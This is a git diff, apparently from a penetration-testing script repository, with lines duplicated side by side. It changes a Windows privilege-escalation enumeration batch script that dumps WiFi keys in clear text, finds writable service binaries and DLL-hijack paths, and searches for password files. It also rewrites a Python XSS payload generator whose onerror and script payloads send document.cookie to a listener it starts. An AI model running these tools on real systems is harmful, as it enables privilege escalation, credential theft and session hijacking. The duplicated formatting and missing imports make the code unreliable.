ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#wsus ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#wsus
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\ 2>nul | findstr /i "wuserver" | findstr /i "http://" reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\ 2>nul | findstr /i "wuserver" | findstr /i "http://"
ECHO. ECHO.
CALL :T_Progress 1 CALL :T_Progress 1
@@ -260,28 +283,42 @@ CALL :T_Progress 1
:RunningProcesses :RunningProcesses
CALL :ColorLine " %E%33m[+]%E%97m RUNNING PROCESSES" CALL :ColorLine " %E%33m[+]%E%97m RUNNING PROCESSES"
ECHO. [i] Something unexpected is running? Check for vulnerabilities ECHO. [i] Something unexpected is running? Check for vulnerabilities
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#running-processes ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#running-processes
tasklist /SVC tasklist /SVC
ECHO. ECHO.
CALL :T_Progress 2 CALL :T_Progress 2
ECHO. [i] Checking file permissions of running processes (File backdooring - maybe the same files start automatically when Administrator logs in) ECHO. [i] Checking file permissions of running processes (File backdooring - maybe the same files start automatically when Administrator logs in)
where wmic >nul 2>&1
if %errorlevel% equ 0 (
for /f "tokens=2 delims='='" %%x in ('wmic process list full ^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f "tokens=2 delims='='" %%x in ('wmic process list full ^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('ECHO.%%x') do ( for /f eol^=^"^ delims^=^" %%z in ('ECHO.%%x') do (
icacls "%%z" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. icacls "%%z" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
) )
) )
) else (
for /f "tokens=*" %%x in ('powershell -command "Get-Process | Where-Object {$_.Path -and $_.Path -notlike '*system32*'} | Select-Object -ExpandProperty Path -Unique"') do (
icacls "%%x" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
)
)
ECHO. ECHO.
ECHO. [i] Checking directory permissions of running processes (DLL injection) ECHO. [i] Checking directory permissions of running processes (DLL injection)
where wmic >nul 2>&1
if %errorlevel% equ 0 (
for /f "tokens=2 delims='='" %%x in ('wmic process list full ^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('ECHO.%%x') do ( for /f "tokens=2 delims='='" %%x in ('wmic process list full ^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('ECHO.%%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
) )
) else (
for /f "tokens=*" %%x in ('powershell -command "Get-Process | Where-Object {$_.Path -and $_.Path -notlike '*system32*'} | Select-Object -ExpandProperty Path -Unique"') do (
for /f "delims=" %%d in ("%%~dpx") do icacls "%%d" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
)
)
ECHO. ECHO.
CALL :T_Progress 3 CALL :T_Progress 3
:RunAtStartup :RunAtStartup
CALL :ColorLine " %E%33m[+]%E%97m RUN AT STARTUP" CALL :ColorLine " %E%33m[+]%E%97m RUN AT STARTUP"
ECHO. [i] Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary ECHO. [i] Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#run-at-startup ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#run-at-startup
::(autorunsc.exe -m -nobanner -a * -ct /accepteula 2>nul || wmic startup get caption,command 2>nul | more & ^ ::(autorunsc.exe -m -nobanner -a * -ct /accepteula 2>nul || wmic startup get caption,command 2>nul | more & ^
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^ reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^ reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
@@ -305,7 +342,7 @@ CALL :T_Progress 2
:AlwaysInstallElevated :AlwaysInstallElevated
CALL :ColorLine " %E%33m[+]%E%97m AlwaysInstallElevated?" CALL :ColorLine " %E%33m[+]%E%97m AlwaysInstallElevated?"
ECHO. [i] If '1' then you can install a .msi file with admin privileges ;) ECHO. [i] If '1' then you can install a .msi file with admin privileges ;)
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#alwaysinstallelevated-1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
ECHO. ECHO.
@@ -363,13 +400,13 @@ CALL :T_Progress 1
:WifiCreds :WifiCreds
CALL :ColorLine " %E%33m[+]%E%97m WIFI" CALL :ColorLine " %E%33m[+]%E%97m WIFI"
for /f "tokens=3,* delims=: " %%a in ('netsh wlan show profiles ^| find "Profile "') do (netsh wlan show profiles name=%%b key=clear | findstr "SSID Cipher Content" | find /v "Number" & ECHO.) for /f "tokens=4 delims=: " %%a in ('netsh wlan show profiles ^| find "Profile "') do (netsh wlan show profiles name=%%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & ECHO.)
CALL :T_Progress 1 CALL :T_Progress 1
:BasicUserInfo :BasicUserInfo
CALL :ColorLine "%E%32m[*]%E%97m BASIC USER INFO CALL :ColorLine "%E%32m[*]%E%97m BASIC USER INFO
ECHO. [i] Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebbugPrivilege ECHO. [i] Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebbugPrivilege
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#users-and-groups ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#users--groups
ECHO. ECHO.
CALL :ColorLine " %E%33m[+]%E%97m CURRENT USER" CALL :ColorLine " %E%33m[+]%E%97m CURRENT USER"
net user %username% net user %username%
@@ -443,16 +480,27 @@ ECHO.
:ServiceBinaryPermissions :ServiceBinaryPermissions
CALL :ColorLine " %E%33m[+]%E%97m SERVICE BINARY PERMISSIONS WITH WMIC and ICACLS" CALL :ColorLine " %E%33m[+]%E%97m SERVICE BINARY PERMISSIONS WITH WMIC and ICACLS"
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services
where wmic >nul 2>&1
if %errorlevel% equ 0 (
for /f "tokens=2 delims='='" %%a in ('cmd.exe /c wmic service list full ^| findstr /i "pathname" ^|findstr /i /v "system32"') do ( for /f "tokens=2 delims='='" %%a in ('cmd.exe /c wmic service list full ^| findstr /i "pathname" ^|findstr /i /v "system32"') do (
for /f eol^=^"^ delims^=^" %%b in ("%%a") do icacls "%%b" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && ECHO. for /f eol^=^"^ delims^=^" %%b in ("%%a") do icacls "%%b" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && ECHO.
) )
) else (
for /f "tokens=*" %%a in ('powershell -command "Get-CimInstance -ClassName Win32_Service | Where-Object {$_.PathName -and $_.PathName -notlike '*system32*'} | Select-Object -ExpandProperty PathName"') do (
for /f "tokens=1 delims= " %%b in ("%%a") do (
set "svcpath=%%b"
set "svcpath=!svcpath:~1,-1!"
if exist "!svcpath!" icacls "!svcpath!" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && ECHO.
)
)
)
ECHO. ECHO.
CALL :T_Progress 1 CALL :T_Progress 1
:CheckRegistryModificationAbilities :CheckRegistryModificationAbilities
CALL :ColorLine " %E%33m[+]%E%97m CHECK IF YOU CAN MODIFY ANY SERVICE REGISTRY" CALL :ColorLine " %E%33m[+]%E%97m CHECK IF YOU CAN MODIFY ANY SERVICE REGISTRY"
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services
for /f %%a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv >nul 2>&1 & reg save %%a %temp%\reg.hiv >nul 2>&1 && reg restore %%a %temp%\reg.hiv >nul 2>&1 && ECHO.You can modify %%a for /f %%a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv >nul 2>&1 & reg save %%a %temp%\reg.hiv >nul 2>&1 && reg restore %%a %temp%\reg.hiv >nul 2>&1 && ECHO.You can modify %%a
ECHO. ECHO.
CALL :T_Progress 1 CALL :T_Progress 1
@@ -461,7 +509,7 @@ CALL :T_Progress 1
CALL :ColorLine " %E%33m[+]%E%97m UNQUOTED SERVICE PATHS" CALL :ColorLine " %E%33m[+]%E%97m UNQUOTED SERVICE PATHS"
ECHO. [i] When the path is not quoted (ex: C:\Program files\soft\new folder\exec.exe) Windows will try to execute first 'C:\Program.exe', then 'C:\Program Files\soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe'. Try to create 'C:\Program Files\soft\new.exe' ECHO. [i] When the path is not quoted (ex: C:\Program files\soft\new folder\exec.exe) Windows will try to execute first 'C:\Program.exe', then 'C:\Program Files\soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe'. Try to create 'C:\Program Files\soft\new.exe'
ECHO. [i] The permissions are also checked and filtered using icacls ECHO. [i] The permissions are also checked and filtered using icacls
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do ( for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do ( for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
ECHO.%%~s ^| findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (ECHO.%%n && ECHO.%%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && ECHO. ECHO.%%~s ^| findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (ECHO.%%n && ECHO.%%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && ECHO.
@@ -476,7 +524,7 @@ ECHO.
CALL :ColorLine "%E%32m[*]%E%97m DLL HIJACKING in PATHenv variable" CALL :ColorLine "%E%32m[*]%E%97m DLL HIJACKING in PATHenv variable"
ECHO. [i] Maybe you can take advantage of modifying/creating some binary in some of the following locations ECHO. [i] Maybe you can take advantage of modifying/creating some binary in some of the following locations
ECHO. [i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate ECHO. [i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dll-hijacking ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dll-hijacking
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. ) for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. )
ECHO. ECHO.
CALL :T_Progress 1 CALL :T_Progress 1
@@ -485,7 +533,7 @@ CALL :T_Progress 1
CALL :ColorLine "%E%32m[*]%E%97m CREDENTIALS" CALL :ColorLine "%E%32m[*]%E%97m CREDENTIALS"
ECHO. ECHO.
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS VAULT" CALL :ColorLine " %E%33m[+]%E%97m WINDOWS VAULT"
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#windows-vault ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#credentials-manager--windows-vault
cmdkey /list cmdkey /list
ECHO. ECHO.
CALL :T_Progress 2 CALL :T_Progress 2
@@ -493,14 +541,14 @@ CALL :T_Progress 2
:DPAPIMasterKeys :DPAPIMasterKeys
CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS" CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
ECHO. [i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt ECHO. [i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
powershell -command "Get-ChildItem %appdata%\Microsoft\Protect" 2>nul powershell -command "Get-ChildItem %appdata%\Microsoft\Protect" 2>nul
powershell -command "Get-ChildItem %localappdata%\Microsoft\Protect" 2>nul powershell -command "Get-ChildItem %localappdata%\Microsoft\Protect" 2>nul
CALL :T_Progress 2 CALL :T_Progress 2
CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS" CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
ECHO. [i] Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt ECHO. [i] Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt
ECHO. [i] You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module ECHO. [i] You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
ECHO. ECHO.
ECHO.Looking inside %appdata%\Microsoft\Credentials\ ECHO.Looking inside %appdata%\Microsoft\Credentials\
ECHO. ECHO.
@@ -573,7 +621,7 @@ CALL :T_Progress 2
:AppCMD :AppCMD
CALL :ColorLine " %E%33m[+]%E%97m AppCmd" CALL :ColorLine " %E%33m[+]%E%97m AppCmd"
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#appcmd.exe ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#appcmdexe
IF EXIST %systemroot%\system32\inetsrv\appcmd.exe ECHO.%systemroot%\system32\inetsrv\appcmd.exe exists. IF EXIST %systemroot%\system32\inetsrv\appcmd.exe ECHO.%systemroot%\system32\inetsrv\appcmd.exe exists.
ECHO. ECHO.
CALL :T_Progress 2 CALL :T_Progress 2
@@ -581,7 +629,7 @@ CALL :T_Progress 2
:RegFilesCredentials :RegFilesCredentials
CALL :ColorLine " %E%33m[+]%E%97m Files in registry that may contain credentials" CALL :ColorLine " %E%33m[+]%E%97m Files in registry that may contain credentials"
ECHO. [i] Searching specific files that may contains credentials. ECHO. [i] Searching specific files that may contains credentials.
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials
ECHO.Looking inside HKCU\Software\ORL\WinVNC3\Password ECHO.Looking inside HKCU\Software\ORL\WinVNC3\Password
reg query HKCU\Software\ORL\WinVNC3\Password 2>nul reg query HKCU\Software\ORL\WinVNC3\Password 2>nul
CALL :T_Progress 2 CALL :T_Progress 2
@@ -620,6 +668,8 @@ if "%long%" == "true" (
ECHO. ECHO.
ECHO. [i] Iterating through the drives ECHO. [i] Iterating through the drives
ECHO. ECHO.
where wmic >nul 2>&1
if !errorlevel! equ 0 (
for /f %%x in ('wmic logicaldisk get name ^| more') do ( for /f %%x in ('wmic logicaldisk get name ^| more') do (
set tdrive=%%x set tdrive=%%x
if "!tdrive:~1,2!" == ":" ( if "!tdrive:~1,2!" == ":" (
@@ -632,6 +682,17 @@ if "%long%" == "true" (
ECHO. ECHO.
) )
) )
) else (
for /f %%x in ('powershell -command "Get-PSDrive -PSProvider FileSystem | Where-Object {$_.Root -match ':'} | Select-Object -ExpandProperty Name"') do (
%%x:
CALL :ColorLine " %E%33m[+]%E%97m FILES THAT CONTAINS THE WORD PASSWORD WITH EXTENSION: .xml .ini .txt *.cfg *.config"
findstr /s/n/m/i password *.xml *.ini *.txt *.cfg *.config 2>nul | findstr /v /i "\\AppData\\Local \\WinSxS ApnDatabase.xml \\UEV\\InboxTemplates \\Microsoft.Windows.Cloud \\Notepad\+\+\\ vmware cortana alphabet \\7-zip\\" 2>nul
ECHO.
CALL :ColorLine " %E%33m[+]%E%97m FILES WHOSE NAME CONTAINS THE WORD PASS CRED or .config not inside \Windows\"
dir /s/b *pass* == *cred* == *.config* == *.cfg 2>nul | findstr /v /i "\\windows\\"
ECHO.
)
)
CALL :T_Progress 2 CALL :T_Progress 2
) ELSE ( ) ELSE (
CALL :T_Progress 2 CALL :T_Progress 2
@@ -646,7 +707,8 @@ EXIT /B
:SetOnce :SetOnce
REM :: ANSI escape character is set once below - for ColorLine Subroutine REM :: ANSI escape character is set once below - for ColorLine Subroutine
SET "E=0x1B[" for /F %%a in ('echo prompt $E ^| cmd') do set "ESC=%%a"
SET "E=%ESC%["
SET "PercentageTrack=0" SET "PercentageTrack=0"
EXIT /B EXIT /B
@@ -658,5 +720,5 @@ EXIT /B
:ColorLine :ColorLine
SET "CurrentLine=%~1" SET "CurrentLine=%~1"
FOR /F "delims=" %%A IN ('FORFILES.EXE /P %~dp0 /M %~nx0 /C "CMD /C ECHO.!CurrentLine!"') DO ECHO.%%A ECHO.!CurrentLine!
EXIT /B EXIT /B

View File

Binary file not shown.

View File

Binary file not shown.

View File

@@ -1,108 +1,71 @@
#!/usr/bin/env python #!/usr/bin/env python
from hackingscripts import util from hackingscripts import util
import sys from fileserver import HttpFileServer
import http.server import argparse
import socketserver import random
from http.server import HTTPServer, BaseHTTPRequestHandler
# returns http address
def getServerAddress(address, port):
if port == 80:
return "http://%s" % address
else:
return "http://%s:%d" % (address, port)
# returns js code: 'http://xxxx:yy/?x='+document.cookie
def getCookieAddress(address, port):
return "'%s/?x='+document.cookie" % getServerAddress(address, port)
def generatePayload(type, address, port):
def generate_payload(payload_type, url, index=None, **kwargs):
payloads = [] payloads = []
cookieAddress = getCookieAddress(address, port)
media_tags = ["img","audio","video","image","body","script","object"] media_tags = ["img","audio","video","image","body","script","object"]
if type in media_tags: if payload_type in media_tags:
payloads.append('<%s src=1 href=1 onerror="javascript:document.location=%s">' % (type, cookieAddress)) payloads.append('<%s src=1 href=1 onerror="javascript:document.location=%s">' % (payload_type, url))
if type == "script": if payload_type == "script":
payloads.append('<script type="text/javascript">document.location=%s</script>' % cookieAddress) payloads.append('<script type="text/javascript">document.location=%s</script>' % url)
payloads.append('<script src="%s/xss" />' % getServerAddress(address, port)) payloads.append('<script src="%s/xss" />' % url)
if len(payloads) == 0: if len(payloads) == 0:
return None return None
return "\n".join(payloads) return "\n".join(payloads)
class XssServer(BaseHTTPRequestHandler):
def _set_headers(self):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
def _html(self):
content = f"<html><body><h1>Got'cha</h1></body></html>"
return content.encode("utf8") # NOTE: must return a bytes object!
def do_GET(self):
self._set_headers()
if self.path == "/xss":
cookie_addr = getCookieAddress(util.get_address(), listen_port)
self.wfile.write(cookie_addr.encode())
else:
self.wfile.write(self._html())
def do_HEAD(self):
self._set_headers()
def end_headers(self):
self.send_header('Access-Control-Allow-Origin', '*')
BaseHTTPRequestHandler.end_headers(self)
def do_OPTIONS(self):
self.send_response(200, "ok")
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
# self.send_header("Access-Control-Allow-Headers", "X-Requested-With")
# self.send_header("Access-Control-Allow-Headers", "Content-Type")
self.end_headers()
def do_POST(self):
self._set_headers()
content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
post_data = self.rfile.read(content_length)
print(post_data)
self.wfile.write(self._html())
if __name__ == "__main__": if __name__ == "__main__":
if len(sys.argv) < 2: parser = argparse.ArgumentParser(description="XSS payload generator")
print("Usage: %s <type> [port]" % sys.argv[0]) parser.add_argument(dest="type", type=str, default=None, help="Payload type")
exit(1) parser.add_argument("-p", "--port", type=int, required=False, default=None, help="Listening port")
parser.add_argument("-a", "--addr", type=str, required=False, default=util.get_address(), help="Listening address")
args, extra = parser.parse_known_args()
listen_port = None if len(sys.argv) < 3 else int(sys.argv[2]) listen_port = args.port
payload_type = sys.argv[1].lower() payload_type = args.type.lower()
local_address = args.addr
extra_args = {}
local_address = util.get_address() for entry in extra:
match = re.match(r"(\w+)=(\w+)", entry)
if not match:
print("Invalid extra argument:", entry)
exit()
key, value = match.groups()
extra_args[key] = value
# choose random port # choose random port
if listen_port is None: if listen_port is None:
sock = util.open_server(local_address) listen_port = random.randint(10000,65535)
if not sock: while util.is_port_in_use(listen_port):
exit(1) listen_port = random.randint(10000,65535)
listen_port = sock.getsockname()[1]
sock.close()
payload = generatePayload(payload_type, local_address, listen_port) http_server = HttpFileServer(local_address, listen_port)
if not payload: payload_type = args.type.lower()
print("Unsupported payload type") url = http_server.get_full_url("/", util.get_address())
payload = generate_payload(payload_type, url, **extra_args)
if payload is None:
print("Unknown payload type: %s" % payload_type)
# print("Supported types: ")
exit(1) exit(1)
print("Payload:") print(f"---PAYLOAD---\n{payload}\n---PAYLOAD---\n")
print(payload)
print() headers = {
"Access-Control-Allow-Origin": "*",
"Access-Control-Allow-Methods": "GET, POST, OPTIONS"
}
http_server.addRoute("/", lambda req: (201, b"", headers))
http_server.dumpRequest("/")
http_server.serve_forever()
httpd = HTTPServer((local_address, listen_port), XssServer)
print(f"Starting httpd server on {local_address}:{listen_port}")
httpd.serve_forever()